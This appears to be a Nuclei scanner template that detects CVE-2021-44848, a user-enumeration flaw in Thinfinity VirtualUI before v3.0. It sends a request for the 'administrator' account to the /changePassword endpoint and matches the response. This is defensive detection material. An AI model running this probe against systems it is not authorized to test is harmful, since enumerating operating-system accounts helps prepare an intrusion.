id: CVE-2021-44848

info:
  name: Thinfinity VirtualUI User Enumeration
  author: danielmofer
  severity: medium
  description: Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)
  reference:
    - https://github.com/cybelesoft/virtualui/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44848
    - https://www.tenable.com/cve/CVE-2021-44848
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-44848
    cwe-id: CWE-287
  tags: cve,cve2021,exposure,thinfinity,virtualui

requests:
  - raw:
      - |
        GET /changePassword?username=administrator HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"rc":(.*?)'
          - '"msg":"(.*?)"'
        condition: and

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/02/28